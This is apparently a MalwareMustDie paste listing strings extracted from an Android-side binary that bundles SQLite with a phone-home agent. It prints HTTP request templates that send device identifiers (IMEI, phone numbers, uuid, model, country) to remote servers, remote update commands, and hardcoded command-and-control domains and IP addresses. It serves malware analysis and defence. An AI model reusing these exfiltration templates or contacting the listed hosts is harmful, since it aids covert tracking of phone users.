- .rodata:0x04EDC6 OpenRead
- .rodata:0x04EDCF OpenWrite
- .rodata:0x04EDD9 OpenAutoindex
- .rodata:0x04EDE7 OpenEphemeral
- .rodata:0x04EDF5 SorterOpen
- .rodata:0x04EE00 OpenPseudo
- .rodata:0x04EE0B Close
- .rodata:0x04EE11 SeekLT
- .rodata:0x04EE18 SeekLE
- .rodata:0x04EE1F SeekGE
- .rodata:0x04EE26 SeekGT
- .rodata:0x04EE2D Seek
- .rodata:0x04EE32 NoConflict
- .rodata:0x04EE3D NotFound
- .rodata:0x04EE46 Found
- .rodata:0x04EE4C NotExists
- .rodata:0x04EE56 Sequence
- .rodata:0x04EE5F NewRowid
- .rodata:0x04EE68 Insert
- .rodata:0x04EE6F Or
- .rodata:0x04EE72 And
- .rodata:0x04EE76 InsertInt
- .rodata:0x04EE80 Delete
- .rodata:0x04EE87 ResetCount
- .rodata:0x04EE92 IsNull
- .rodata:0x04EE99 NotNull
- .rodata:0x04EEA1 Ne
- .rodata:0x04EEA4 Eq
- .rodata:0x04EEA7 Gt
- .rodata:0x04EEAA Le
- .rodata:0x04EEAD Lt
- .rodata:0x04EEB0 Ge
- .rodata:0x04EEB3 SorterCompare
- .rodata:0x04EEC1 BitAnd
- .rodata:0x04EEC8 BitOr
- .rodata:0x04EECE ShiftLeft
- .rodata:0x04EED8 ShiftRight
- .rodata:0x04EEE3 Add
- .rodata:0x04EEE7 Subtract
- .rodata:0x04EEF0 Multiply
- .rodata:0x04EEF9 Divide
- .rodata:0x04EF00 Remainder
- .rodata:0x04EF0A Concat
- .rodata:0x04EF11 SorterData
- .rodata:0x04EF1C BitNot
- .rodata:0x04EF23 String8
- .rodata:0x04EF2B RowKey
- .rodata:0x04EF32 RowData
- .rodata:0x04EF3A Rowid
- .rodata:0x04EF40 NullRow
- .rodata:0x04EF48 Last
- .rodata:0x04EF4D SorterSort
- .rodata:0x04EF58 Sort
- .rodata:0x04EF5D Rewind
- .rodata:0x04EF64 SorterInsert
- .rodata:0x04EF71 IdxInsert
- .rodata:0x04EF7B IdxDelete
- .rodata:0x04EF85 IdxRowid
- .rodata:0x04EF8E IdxLE
- .rodata:0x04EF94 IdxGT
- .rodata:0x04EF9A IdxLT
- .rodata:0x04EFA0 IdxGE
- .rodata:0x04EFA6 Destroy
- .rodata:0x04EFAE Clear
- .rodata:0x04EFB4 CreateIndex
- .rodata:0x04EFC0 CreateTable
- .rodata:0x04EFCC ParseSchema
- .rodata:0x04EFD8 LoadAnalysis
- .rodata:0x04EFE5 DropTable
- .rodata:0x04EFEF DropIndex
- .rodata:0x04EFF9 DropTrigger
- .rodata:0x04F005 IntegrityCk
- .rodata:0x04F011 RowSetAdd
- .rodata:0x04F01B RowSetRead
- .rodata:0x04F026 RowSetTest
- .rodata:0x04F031 Program
- .rodata:0x04F039 Param
- .rodata:0x04F03F FkCounter
- .rodata:0x04F049 FkIfZero
- .rodata:0x04F052 MemMax
- .rodata:0x04F059 IfPos
- .rodata:0x04F05F Real
- .rodata:0x04F064 IfNeg
- .rodata:0x04F06A IfZero
- .rodata:0x04F071 AggFinal
- .rodata:0x04F07A IncrVacuum
- .rodata:0x04F085 Expire
- .rodata:0x04F08C TableLock
- .rodata:0x04F096 VBegin
- .rodata:0x04F09D VCreate
- .rodata:0x04F0A5 VDestroy
- .rodata:0x04F0AE ToText
- .rodata:0x04F0B5 ToBlob
- .rodata:0x04F0BC ToNumeric
- .rodata:0x04F0C6 ToInt
- .rodata:0x04F0CC ToReal
- .rodata:0x04F0D3 VOpen
- .rodata:0x04F0D9 VColumn
- .rodata:0x04F0E1 VNext
- .rodata:0x04F0E7 VRename
- .rodata:0x04F0EF Pagecount
- .rodata:0x04F0F9 MaxPgcnt
- .rodata:0x04F102 Init
- .rodata:0x04F107 Noop
- .rodata:0x04F10C Explain
- .rodata:0x04F114 NOT NULL
- .rodata:0x04F11D UNIQUE
- .rodata:0x04F124 CHECK
- .rodata:0x04F12A FOREIGN KEY
- .rodata:0x04F136 ltrim
- .rodata:0x04F13C rtrim
- .rodata:0x04F142 trim
- .rodata:0x04F147 typeof
- .rodata:0x04F14E length
- .rodata:0x04F155 instr
- .rodata:0x04F15B substr
- .rodata:0x04F162 printf
- .rodata:0x04F169 unicode
- .rodata:0x04F171 char
- .rodata:0x04F176 abs
- .rodata:0x04F17A round
- .rodata:0x04F180 upper
- .rodata:0x04F186 lower
- .rodata:0x04F18C coalesce
- .rodata:0x04F195 hex
- .rodata:0x04F199 ifnull
- .rodata:0x04F1A0 unlikely
- .rodata:0x04F1A9 likelihood
- .rodata:0x04F1B4 random
- .rodata:0x04F1BB randomblob
- .rodata:0x04F1C6 nullif
- .rodata:0x04F1CD sqlite_version
- .rodata:0x04F1DC sqlite_source_id
- .rodata:0x04F1ED sqlite_log
- .rodata:0x04F1F8 sqlite_compileoption_used
- .rodata:0x04F212 sqlite_compileoption_get
- .rodata:0x04F22B quote
- .rodata:0x04F231 last_insert_rowid
- .rodata:0x04F243 changes
- .rodata:0x04F24B total_changes
- .rodata:0x04F259 replace
- .rodata:0x04F261 zeroblob
- .rodata:0x04F26A load_extension
- .rodata:0x04F279 sum
- .rodata:0x04F27D total
- .rodata:0x04F283 avg
- .rodata:0x04F287 count
- .rodata:0x04F28D group_concat
- .rodata:0x04F29A julianday
- .rodata:0x04F2A4 date
- .rodata:0x04F2A9 time
- .rodata:0x04F2AE datetime
- .rodata:0x04F2B7 strftime
- .rodata:0x04F2C0 current_time
- .rodata:0x04F2CD current_timestamp
- .rodata:0x04F2DF current_date
- .rodata:0x04F2EC sqlite_rename_table
- .rodata:0x04F300 sqlite_rename_trigger
- .rodata:0x04F316 sqlite_rename_parent
- .rodata:0x04F32B sendDataToServer start !\n
- .rodata:0x04F345 socket open error !\n
- .rodata:0x04F35A IP=%s,PORT=%s\n
- .rodata:0x04F369 socket connect error !\n
- .rodata:0x04F381 strRequest===%s,len=%d\n
- .rodata:0x04F399 socket write error !\n
- .rodata:0x04F3AF strResponse=%s\n
- .rodata:0x04F3BF HTTP/1.1 200 OK
- .rodata:0x04F3CF request ok..%d---%d\n
- .rodata:0x04F3E4 outStr=%s\n
- .rodata:0x04F3EF sendDataToServer rtn=%d !\n
- .rodata:0x04F40A sendDataToServer end !\n
- .rodata:0x04F422 remote_request sendRegisteData start\n
- .rodata:0x04F448 POST /pagt/agent?data={\"name\":\"c_regist\",\"details\":{\"uuid\":\"
- .rodata:0x04F485 \",\"version\":\"
- .rodata:0x04F493 \",\"model\":\"
- .rodata:0x04F49F \",\"c_bin_version\":\"
- .rodata:0x04F4B3 \",\"c_apk_version\":\"
- .rodata:0x04F4C7 \",\"imei\":\"
- .rodata:0x04F4D2 \",\"phoneNumber1\":\"
- .rodata:0x04F4E5 \",\"phoneNumber2\":\"
- .rodata:0x04F4F8 \",\"countryName\":\"
- .rodata:0x04F50A \"}} HTTP/1.1\r\nHost:
- .rodata:0x04F51F \r\nConnection: Close\r\n\r\n
- .rodata:0x04F537 remote_request sendRegisteData rtn=%d\n
- .rodata:0x04F55E remote_request sendRegisteData end\n
- .rodata:0x04F582 remote_request getRemoteParams start\n
- .rodata:0x04F5A8 POST /pagt/agent?data={\"name\":\"c_get_msg\",\"details\":{\"uuid\":\"
- .rodata:0x04F5E6 remote_request getRemoteParams end\n
- .rodata:0x04F60A remote_request syncStatus start\n
- .rodata:0x04F62B POST /pagt/agent?data={\"name\":\"
- .rodata:0x04F64B c_update_apk
- .rodata:0x04F658 c_update_link
- .rodata:0x04F666 c_update_text
- .rodata:0x04F674 c_update_client
- .rodata:0x04F684 c_update_config
- .rodata:0x04F694 c_update_commands
- .rodata:0x04F6A6 \",\"details\":{\"server_id\":\"
- .rodata:0x04F6C1 \",\"status\":\"
- .rodata:0x04F6CE \",\"date\":\"
- .rodata:0x04F6D9 remote_request syncStatus end\n
- .rodata:0x04F6F8 salesSystemRegist start !\n
- .rodata:0x04F713 salesSystemRegist network ok !\n
- .rodata:0x04F733 POST /RgkOTA/CheckRegister?hw=
- .rodata:0x04F752 &hwv=
- .rodata:0x04F758 &swv=
- .rodata:0x04F75E &serialno=
- .rodata:0x04F769 &beta=
- .rodata:0x04F770 CHTTP/1.1\r\nHost:
- .rodata:0x04F782 IP=%s,PORT=%d\n
- .rodata:0x04F791 request ok..%s\n
- .rodata:0x04F7A1 CHECK_MARKET_RESULT:1
- .rodata:0x04F7B7 salesSystemRegist end result=%d !\n
- .rodata:0x04F7DA true
- .rodata:0x04F7DF false
- .rodata:0x04F80D \\u%4.4x
- .rodata:0x04F815 JSON: unsupported unicode value: 0x%d\n
- .rodata:0x04F83C JSON: *state missing: %d\n
- .rodata:0x04F856 JSON: state %d: defaulted at line %zd\n
- .rodata:0x04F87D HTTP/1.1
- .rodata:0x04F886 Content-Length:
- .rodata:0x04F896 %s%c%s
- .rodata:0x04F89D .%c%s
- .rodata:0x04F8A3 wb+
- .rodata:0x04F8A7 localHost=%s\n
- .rodata:0x04F8B5 http://
- .rodata:0x04F8BD https://
- .rodata:0x04F8C6 http->host=%s,port=%d,r_path=%s,r_file=%s\n
- .rodata:0x04F8F1 HEAD %s/%s HTTP/1.1\r\nAccept:*/*\r\nHost:%s:%d\r\nConnection: close\r\n\r\n
- .rodata:0x04F934 GET %s/%s HTTP/1.1\r\nAccept:*/*\r\nHost:%s:%d\r\nConnection:Keep-alive\r\n\r\n
- .rodata:0x04F97A /system/bin/build
- .rodata:0x04F98E /system/build.prop
- .rodata:0x04F9A1 File open error!\n
- .rodata:0x04F9B3 ro.internal.version.rgk
- .rodata:0x04F9CB ro.internal.version
- .rodata:0x04F9DF ro.product.model
- .rodata:0x04F9F0 ro.mediatek.platform
- .rodata:0x04FA05 version=%s\n
- .rodata:0x04FA11 model=%s\n
- .rodata:0x04FA1B platform=%s\n
- .rodata:0x04FA28 /proc/uptime
- .rodata:0x04FA35 mobile_run_time=%s\n
- .rodata:0x04FA49 open uptime error\n
- .rodata:0x04FA5C read uptime error\n
- .rodata:0x04FA6F uptime --buf = %s\n
- .rodata:0x04FA82 /proc/net/tcp6
- .rodata:0x04FA91 arr=%s!\n
- .rodata:0x04FA9A rtn=%d!\n
- .rodata:0x04FAA3 %4d
- .rodata:0x04FAA7 %20
- .rodata:0x04FAAB .000
- .rodata:0x04FAB0 SELECT server_id,type,flag,update_time FROM t_push_infos WHERE is_remote_sync='0' order by server_id limit 1
- .rodata:0x04FB23 delete from t_config where name='
- .rodata:0x04FC23 114.80.68.22322
- .rodata:0x04FC55 oyag.lhzbdvm.com
- .rodata:0x04FC7D oyag.prugskh.net
- .rodata:0x04FCA5 oyag.prugskh.com
- .rodata:0x04FCCD SELECT value FROM t_config WHERE name='
- .rodata:0x04FDCD update t_config set value = '
- .rodata:0x04FECD insert into t_push_infos(server_id ,type,title,comments,url,package,icon,installType,flag,update_time,is_remote_sync) values('
- .rodata:0x0502CD update t_push_infos set flag='
- .rodata:0x0506CD update t_push_infos set is_remote_sync='
- .rodata:0x050ACD SELECT flag FROM t_push_infos WHERE server_id='
- .rodata:0x050BCD SELECT server_id,type,flag,update_time FROM t_push_infos WHERE is_remote_sync='0'
- .rodata:0x050CCD -journal
- .rodata:0x050CD7 -wal
- .rodata:0x050CDD ><;=
- .rodata:0x050D10 ifo
- .rodata:0x050D2E qonp
- .rodata:0x050D73 \n\n\n\n\n\n
- .rodata:0x050D93 ******\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"
- .rodata:0x050DB2 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
- .rodata:0x050E3D \b\b
- .rodata:0x0519F6 CREATE TABLE sqlite_master(\ntype text,\nname text,\ntbl_name text,\nrootpage integer,\nsql text\n)
- .rodata:0x051A5E %_
- .rodata:0x051F66 CREATE TEMP TABLE sqlite_temp_master(\ntype text,\nname text,\ntbl_name text,\nrootpage integer,\nsql text\n)
- .rodata:0x051FFC 3.8.4.3
- .rodata:0x0522A4 REINDEXEDESCAPEACHECKEYBEFOREIGNOREGEXPLAINSTEADDATABASELECTABLEFTHENDEFERRABLELSEXCEPTRANSACTIONATURALTERAISEXCLUSIVEXISTSAVEPOINTERSECTRIGGEREFERENCESCONSTRAINTOFFSETEMPORARYUNIQUERYWITHOUTERELEASEATTACHAVINGROUPDATEBEGINNERECURSIVEBETWEENOTNULLIKECASCADELETECASECOLLATECREATECURRENT_DATEDETACHIMMEDIATEJOINSERTMATCHPLANALYZEPRAGMABORTVALUESVIRTUALIMITWHENWHERENAMEAFTEREPLACEANDEFAULTAUTOINCREMENTCASTCOLUMNCOMMITCONFLICTCROSSCURRENT_TIMESTAMPRIMARYDEFERREDISTINCTDROPFAILFROMFULLGLOBYIFISNULLORDERESTRICTRIGHTROLLBACKROWUNIONUSINGVACUUMVIEWINITIALLY\n\n\t\t\b\b\a\a\a
- .rodata:0x05285A SQLite format 3
- .rodata:0x05286A onoffalseyestruefull
- .rodata:0x0528AA 0123456789ABCDEF
- .rodata:0x0528BC \x1B\x1B\x1B\x1B
- .rodata:0x0528C1 \x1B\x1B\x1B
- .rodata:0x0528C5 \x1B\x1B\x1B\x1B
- .rodata:0x0528D7 \x1B\x1B\x1B\x1B\x1B\x1B\x1B\x1B\x1B\x1B\x1B\x1B\x1B\x1B\x1B\x1B\x1B\x1B\x1B\x1B\x1B\x1B\x1B\x1B\x1B\x1B\x1B\x1B\x1B\x1B\x1B\x1B\x1B\x1B\x1B\x1B\x1B\x1B\x1B\x1B\x1B
- .rodata:0x0529F5 naturaleftouterightfullinnercross
- .rodata:0x052A7A abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
- .rodata:0x0530E7 \a\b\t\n\v
- .rodata:0x053100 C!\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~
- .rodata:0x0531E0 0123456789ABCDEF0123456789abcdef
- .rodata:0x053209 \x1BPQRSTUVWXYZ[\\]^_lmn\x1B
- .rodata:0x053220 23PQRSzUVWXYZ[\\]^_
- .rodata:0x053235 GHIJKLMNOPQRSzUVWXYZ[\\]^_
- .rodata:0x0532BA 23cdefghi\x1B
- .rodata:0x053805 \t\t\a\n\n
- .rodata:0x05381D \t\a\a
- .rodata:0x053848 \a\b\b
- .rodata:0x0538B0 LL
- .rodata:0x0538BE LLLLLLLLLL
- .rodata:0x0538D3 \b\b
- .rodata:0x05390F if>;=<
- .rodata:0x053915 210.51.45.8911
- .rodata:0x053947 ota.ragentek.com
- .rodata:0x05396F ota1.ragentek.com
- .rodata:0x053997 http://oyag.lhzbdvm.com:8082/padm/
- .rodata:0x0539BF http://oyag.prugskh.net:8082/padm/
- .rodata:0x0539E7 http://oyag.prugskh.com:8082/padm/
- #MalwareMustDie - quick analysis by: @unixfreaxjp
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement